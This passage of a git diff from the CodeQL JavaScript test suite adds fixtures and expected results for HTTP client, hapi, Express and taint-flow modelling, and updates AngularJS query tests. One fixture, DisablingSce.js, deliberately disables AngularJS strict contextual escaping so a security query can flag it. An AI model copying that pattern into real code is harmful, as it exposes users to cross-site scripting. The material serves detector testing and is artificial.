+| tst.js:349:5:349:30 | axios.g ...  url }) | tst.js:349:5:349:30 | axios.g ...  url }) | json | true |
+| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:5:352:66 | axiosIn ... text"}) | text | true |
diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/superagent.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/superagent.js
new file mode 100644
index 000000000000..b96c4fa45df8
--- /dev/null
+++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/superagent.js
@@ -0,0 +1,7 @@
+import { superagent } from "./superagentWrapper.js";
+
+function test(url) {
+    superagent('GET', url);
+    superagent.del(url);
+    superagent.agent().post(url).send(data);
+}
diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/superagentWrapper.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/superagentWrapper.js
new file mode 100644
index 000000000000..58c47db2fffc
--- /dev/null
+++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/superagentWrapper.js
@@ -0,0 +1,2 @@
+import superagent from 'superagent';
+export { superagent }
diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js
index b2b9d8256ca3..3cd086fae0e7 100644
--- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js
+++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js
@@ -314,3 +314,40 @@ function usePolyfill() {
             return response.text()
         })
 }
+
+function useSuperagent(url){
+    superagent('GET', url);
+    superagent.del(url);
+    superagent.agent().post(url).send(data);
+}
+
+import { Options } from 'got';
+
+function gotTests(url){
+    const options = new Options({url});
+    got(undefined, undefined, options);
+    got(undefined, undefined, new Options({url}));
+
+    const options2 = new Options({url});
+    got.extend(options2).extend(options).get();
+
+    got.paginate(url, {});
+
+    const jsonClient = got.extend({url: url});
+    jsonClient.get();
+
+    const jsonClient2 = got.extend({url: url}).extend({url: url});
+    jsonClient2.get();
+}
+
+function moreAxiosTests(url, data, config){
+    axios.postForm(url, data, config);
+    axios.putForm(url, data);
+    axios.putForm(url, data, config);
+    axios.patchForm(url, data);
+    axios.patchForm(url, data, config);
+    axios.getUri({ url: url });
+
+    const axiosInstance = axios.create({});
+    axiosInstance({method: "get", url: url, responseType: "text"});
+}
diff --git a/javascript/ql/test/library-tests/frameworks/HTTP/RemoteRequestInput.expected b/javascript/ql/test/library-tests/frameworks/HTTP/RemoteRequestInput.expected
index e6c285607c49..9ab5354181e9 100644
--- a/javascript/ql/test/library-tests/frameworks/HTTP/RemoteRequestInput.expected
+++ b/javascript/ql/test/library-tests/frameworks/HTTP/RemoteRequestInput.expected
@@ -1,5 +1,7 @@
 | connect.js:6:5:6:11 | req.url | url |
 | connect.js:7:5:7:21 | req.cookies.get() | cookie |
+| express-typed.ts:4:5:4:12 | req.body | body |
+| express-typed.ts:10:5:10:12 | req.body | body |
 | express.js:12:5:12:19 | req.param("p1") | parameter |
 | express.js:13:5:13:17 | req.params.p2 | parameter |
 | express.js:14:5:14:16 | req.query.p3 | parameter |
diff --git a/javascript/ql/test/library-tests/frameworks/HTTP/express-typed.ts b/javascript/ql/test/library-tests/frameworks/HTTP/express-typed.ts
new file mode 100644
index 000000000000..c6b994f03044
--- /dev/null
+++ b/javascript/ql/test/library-tests/frameworks/HTTP/express-typed.ts
@@ -0,0 +1,11 @@
+import { Request } from "express";
+
+export function f1(req: Request) {
+    req.body;
+}
+
+type Alias = Request & { foo: string };
+
+export function f2(req: Alias) {
+    req.body;
+}
diff --git a/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js b/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js
new file mode 100644
index 000000000000..972b8b9f1119
--- /dev/null
+++ b/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js
@@ -0,0 +1,21 @@
+const express = require('express');
+const app = express();
+const testlib = require('testlib');
+
+app.get('/before', (req, res) => {
+    sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
+    sink(req.injectedResData); // OK - wrong parameter
+
+    sink(res.injectedReqData); // OK - wrong parameter
+    sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
+});
+
+app.use(testlib.middleware());
+
+app.get('/after', (req, res) => {
+    sink(req.injectedReqData); // NOT OK
+    sink(req.injectedResData); // OK - wrong parameter
+
+    sink(res.injectedReqData); // OK - wrong parameter
+    sink(res.injectedResData); // NOT OK
+});
diff --git a/javascript/ql/test/library-tests/frameworks/data/test.expected b/javascript/ql/test/library-tests/frameworks/data/test.expected
index 70fc4b00eab5..0bc1b6b6ee07 100644
--- a/javascript/ql/test/library-tests/frameworks/data/test.expected
+++ b/javascript/ql/test/library-tests/frameworks/data/test.expected
@@ -1,6 +1,10 @@
 legacyDataFlowDifference
 consistencyIssue
 taintFlow
+| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
+| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
+| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
+| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
 | paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
 | test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
 | test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |
@@ -81,6 +85,10 @@ taintFlow
 | test.js:272:6:272:40 | new MyS ... ource() | test.js:272:6:272:40 | new MyS ... ource() |
 | test.js:274:6:274:39 | testlib ... eName() | test.js:274:6:274:39 | testlib ... eName() |
 | test.js:277:8:277:31 | "danger ... .danger | test.js:277:8:277:31 | "danger ... .danger |
+| test.js:284:8:284:16 | source[0] | test.js:284:8:284:16 | source[0] |
+| test.js:285:8:285:19 | source.pop() | test.js:285:8:285:19 | source.pop() |
+| test.js:286:18:286:18 | e | test.js:286:28:286:28 | e |
+| test.js:287:14:287:14 | e | test.js:287:24:287:24 | e |
 isSink
 | test.js:54:18:54:25 | source() | test-sink |
 | test.js:55:22:55:29 | source() | test-sink |
diff --git a/javascript/ql/test/library-tests/frameworks/data/test.ext.yml b/javascript/ql/test/library-tests/frameworks/data/test.ext.yml
index eed5c054fbfe..1ac621936a4a 100644
--- a/javascript/ql/test/library-tests/frameworks/data/test.ext.yml
+++ b/javascript/ql/test/library-tests/frameworks/data/test.ext.yml
@@ -10,8 +10,11 @@ extensions:
       - ['testlib', 'Member[MethodDecorator].DecoratedMember.Parameter[0]', 'test-source']
       - ['testlib', 'Member[ParamDecoratorSource].DecoratedParameter', 'test-source']
       - ['testlib', 'Member[getSource].ReturnValue', 'test-source']
+      - ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
       - ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
       - ['danger-constant', 'Member[danger]', 'test-source']
+      - ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
+      - ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
 
   - addsTo:
       pack: codeql/javascript-all
diff --git a/javascript/ql/test/library-tests/frameworks/data/test.js b/javascript/ql/test/library-tests/frameworks/data/test.js
index 71fd64e10f64..a67c4244bdfa 100644
--- a/javascript/ql/test/library-tests/frameworks/data/test.js
+++ b/javascript/ql/test/library-tests/frameworks/data/test.js
@@ -278,3 +278,11 @@ function dangerConstant() {
   sink("danger-constant".safe); // OK
   sink("danger-constant"); // OK
 }
+
+function arraySource() {
+  const source = testlib.getSourceArray();
+  sink(source[0]); // NOT OK
+  sink(source.pop()); // NOT OK
+  source.forEach(e => sink(e)); // NOT OK
+  source.map(e => sink(e)); // NOT OK
+}
diff --git a/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js b/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js
new file mode 100644
index 000000000000..45706b7a9405
--- /dev/null
+++ b/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js
@@ -0,0 +1,36 @@
+var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
+
+var Hapi = require('@hapi/hapi');
+var server2 = new Hapi.Server(); // HTTP::Server
+
+function handler1(){} // HTTP::RouteHandler
+server2.route({
+    handler: handler1
+});
+
+
+server2.route({
+    handler: function handler2(request, reply){ // HTTP::RouteHandler
+        request.response.header('HEADER1', '') // HTTP::HeaderDefinition
+    }});
+
+server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
+})
+
+function handler4(request, reply){
+  request.rawPayload;
+  request.payload.foo;
+  request.query.bar;
+  request.url.path;
+  request.headers.baz;
+  request.state.token;
+}
+var route = {handler: handler4};
+server2.route(route);
+
+server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
+
+function getHandler() {
+    return function (req, h){}
+}
+server2.route({handler: getHandler()});
diff --git a/javascript/ql/test/library-tests/frameworks/hapi/tests.expected b/javascript/ql/test/library-tests/frameworks/hapi/tests.expected
index 4c752ee56a85..730bae77bf93 100644
--- a/javascript/ql/test/library-tests/frameworks/hapi/tests.expected
+++ b/javascript/ql/test/library-tests/frameworks/hapi/tests.expected
@@ -9,6 +9,11 @@ test_RouteSetup
 | src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
 | src/hapiglue.js:31:1:31:20 | server2.route(route) |
 | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
+| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
+| src/hapihapi.js:12:1:15:7 | server2 ...     }}) |
+| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
+| src/hapihapi.js:29:1:29:20 | server2.route(route) |
+| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
 test_RequestExpr
 | src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n    } |
 | src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n    } |
@@ -38,12 +43,27 @@ test_RequestExpr
 | src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
 | src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
 | src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
+| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
+| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
 test_HeaderAccess
 | src/hapi.js:25:3:25:21 | request.headers.baz | baz |
 | src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
+| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
 test_ResponseExpr
 | src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n    } |
 | src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
 test_RouteHandler
 | src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
 | src/hapi.js:13:14:15:5 | functio ... n\\n    } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -55,9 +75,15 @@ test_RouteHandler
 | src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
 | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
 | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
+| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:13:14:15:5 | functio ... n\\n    } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
 test_HeaderDefinition
 | src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n    } |
 | src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
 test_ServerDefinition
 | src/hapi.js:1:15:1:44 | new (re ... erver() |
 | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -65,6 +91,8 @@ test_ServerDefinition
 | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
 | src/hapiglue.js:43:19:43:24 | server |
 | src/hapiglue.js:44:45:44:51 | server_ |
+| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
+| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
 test_RequestInputAccess
 | src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
 | src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
@@ -80,6 +108,12 @@ test_RequestInputAccess
 | src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
 | src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
 | src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
+| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
 test_RouteSetup_getServer
 | src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
 | src/hapi.js:12:1:15:7 | server2 ...     }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
 | src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
 | src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
 | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
+| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:12:1:15:7 | server2 ...     }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
+| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
 test_HeaderDefinition_defines
 | src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |  |
 | src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |  |
+| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |  |
 test_RouteSetup_getARouteHandler
 | src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
 | src/hapi.js:12:1:15:7 | server2 ...     }}) | src/hapi.js:13:14:15:5 | functio ... n\\n    } |
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
 | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
 | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
 | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
+| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
+| src/hapihapi.js:12:1:15:7 | server2 ...     }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n    } |
+| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
+| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
+| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
+| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
+| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
 test_RouteHandler_getARequestExpr
 | src/hapi.js:13:14:15:5 | functio ... n\\n    } | src/hapi.js:13:32:13:38 | request |
 | src/hapi.js:13:14:15:5 | functio ... n\\n    } | src/hapi.js:13:32:13:38 | request |
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
 | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
 | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
 | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
+| src/hapihapi.js:13:14:15:5 | functio ... n\\n    } | src/hapihapi.js:13:32:13:38 | request |
+| src/hapihapi.js:13:14:15:5 | functio ... n\\n    } | src/hapihapi.js:13:32:13:38 | request |
+| src/hapihapi.js:13:14:15:5 | functio ... n\\n    } | src/hapihapi.js:14:9:14:15 | request |
+| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
+| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
+| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
 test_HeaderDefinition_getAHeaderName
 | src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
 | src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
+| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
 test_RouteHandler_getAResponseHeader
 | src/hapi.js:13:14:15:5 | functio ... n\\n    } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
 | src/hapiglue.js:13:14:15:5 | functio ... n\\n    } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
+| src/hapihapi.js:13:14:15:5 | functio ... n\\n    } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |
diff --git a/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/DeadAngularJSEventListener.qlref b/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/DeadAngularJSEventListener.qlref
index a29deed369ec..9d7d0764c034 100644
--- a/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/DeadAngularJSEventListener.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/DeadAngularJSEventListener.qlref
@@ -1 +1,2 @@
-AngularJS/DeadAngularJSEventListener.ql
\ No newline at end of file
+query: AngularJS/DeadAngularJSEventListener.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/tst.js b/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/tst.js
index d8616c9e2399..58b700a4c3f2 100644
--- a/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/tst.js
+++ b/javascript/ql/test/query-tests/AngularJS/DeadAngularJSEventListener/tst.js
@@ -1,50 +1,50 @@
 angular.module('myModule', [])
     .controller('MyController', function($scope) {
-        $scope.$on('destroy', cleanup); // BAD
+        $scope.$on('destroy', cleanup); // $ Alert
     })
     .controller('MyController', ["$scope", function(s) {
-        s.$on('destroy', cleanup); // BAD
+        s.$on('destroy', cleanup); // $ Alert
     }])
     .controller('MyController', function($scope) {
         var destroy = 'destroy';
-        $scope.$on(destroy, cleanup); // BAD
+        $scope.$on(destroy, cleanup); // $ Alert
     })
     .controller('MyController', function($scope) {
-        $scope.$on('$destroy', cleanup); // GOOD
+        $scope.$on('$destroy', cleanup);
     })
     .controller('MyController', function($scope) {
         $scope.$emit('foo');
-        $scope.$on('foo', cleanup); // GOOD
+        $scope.$on('foo', cleanup);
     })
     .controller('MyController', function($scope) {
-        $scope.$on('bar', cleanup); // BAD
+        $scope.$on('bar', cleanup); // $ Alert
     })
     .controller('MyController', function($scope) {
-        $scope.$on('$locationChangeStart', cleanup); // OK
+        $scope.$on('$locationChangeStart', cleanup);
     })
     .controller('MyController', function($scope) {
-        $scope.$on('lib1.foo', cleanup); // OK
+        $scope.$on('lib1.foo', cleanup);
     })
     .controller('MyController', function($scope) {
-        $scope.$on('lib2:foo', cleanup); // OK
+        $scope.$on('lib2:foo', cleanup);
     })
     .controller('MyController', function($scope) {
-        $scope.$on('onClick', cleanup); // OK
+        $scope.$on('onClick', cleanup);
     })
     .controller('MyController', function($scope) {
         function f($scope){
             $scope.$emit('probablyFromUserCode1')
         }
-        $scope.$on('probablyFromUserCode1', cleanup); // OK
+        $scope.$on('probablyFromUserCode1', cleanup);
     })
     .controller('MyController', function($scope) {
         function f($scope){
             var scope = $scope;
             scope.$emit('probablyFromUserCode2')
         }
-        $scope.$on('probablyFromUserCode2', cleanup); // OK
+        $scope.$on('probablyFromUserCode2', cleanup);
     })
     .controller('MyController', function($scope) {
-        $scope.$on('event-from-AngularJS-expression', cleanup); // GOOD
+        $scope.$on('event-from-AngularJS-expression', cleanup);
     })
 ;
diff --git a/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/DependencyMismatch.qlref b/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/DependencyMismatch.qlref
index f7a0044a73f8..7089aacb60e6 100644
--- a/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/DependencyMismatch.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/DependencyMismatch.qlref
@@ -1 +1,2 @@
-AngularJS/DependencyMismatch.ql
\ No newline at end of file
+query: AngularJS/DependencyMismatch.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/tst.js b/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/tst.js
index c60a937b4c45..3afff0e3a50b 100644
--- a/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/tst.js
+++ b/javascript/ql/test/query-tests/AngularJS/DependencyMismatch/tst.js
@@ -1,36 +1,36 @@
 angular.module('app1', [])
-       .run(['dep1', 'dep2', 'dep3', function(dep1, dep3, dep2) {}]);  // NOT OK
+       .run(['dep1', 'dep2', 'dep3', function(dep1, dep3, dep2) {}]);  // $ Alert
 
 angular.module('app2')
-       .directive('mydirective', [ '$compile', function($compile, $http) { // NOT OK
+       .directive('mydirective', [ '$compile', function($compile, $http) { // $ Alert
            // ...
        }]);
 
 angular.module('app1', [])
-       .run(['dep1', 'dep2', 'dep3', function(dep1, dep2, dep3) {}]);  // OK
+       .run(['dep1', 'dep2', 'dep3', function(dep1, dep2, dep3) {}]);
 
 angular.module('app2')
-       .directive('mydirective', [ '$compile', '$http', function($compile, $http) { // OK
+       .directive('mydirective', [ '$compile', '$http', function($compile, $http) {
            // ...
        }]);
 
 angular.module('app3', [])
-       .run(function(dep1, dep3) {});  // OK
+       .run(function(dep1, dep3) {});
 
 angular.module('app4')
-       .directive('mydirective', function($compile, $http) {  // OK
+       .directive('mydirective', function($compile, $http) {
            // ...
        });
 
 angular.module('app5')
-       .directive('mydirective', [ 'fully.qualified.name', function(name) { // OK
+       .directive('mydirective', [ 'fully.qualified.name', function(name) {
            // ...
        }])
 
 angular.module('app6')
     .directive('mydirective', function() {
         return {
-            link: function (scope, element, attrs) { // OK
+            link: function (scope, element, attrs) {
             }
         };
     });
diff --git a/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.js b/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.js
index 2ef8930246f9..312af00754e6 100644
--- a/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.js
+++ b/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.js
@@ -1,17 +1,17 @@
 angular.module('app', [])
     .config(function($sceProvider) {
-        $sceProvider.enabled(false); // BAD
+        $sceProvider.enabled(false); // $ Alert
     })
     .config(['otherProvider', function($sceProvider) {
-        $sceProvider.enabled(false); // OK
+        $sceProvider.enabled(false);
     }])
     .config(['$sceProvider', function(x) {
-        x.enabled(false); // BAD
+        x.enabled(false); // $ Alert
     }])
     .config(function($sceProvider) {
-        $sceProvider.enabled(true); // OK
+        $sceProvider.enabled(true);
     })
     .config(function($sceProvider) {
         var x = false;
-        $sceProvider.enabled(x); // BAD
+        $sceProvider.enabled(x); // $ Alert
     });
diff --git a/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.qlref b/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.qlref
index 7a74c3338a31..0e0c8bd12433 100644
--- a/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/DisablingSce/DisablingSce.qlref
@@ -1 +1,2 @@
-AngularJS/DisablingSce.ql
\ No newline at end of file
+query: AngularJS/DisablingSce.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/DoubleCompilation.qlref b/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/DoubleCompilation.qlref
index 05ed8405fa82..b1ad3523f06f 100644
--- a/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/DoubleCompilation.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/DoubleCompilation.qlref
@@ -1 +1,2 @@
-AngularJS/DoubleCompilation.ql
+query: AngularJS/DoubleCompilation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/bad.js b/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/bad.js
index f46e74bc7e97..c1248255132b 100644
--- a/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/bad.js
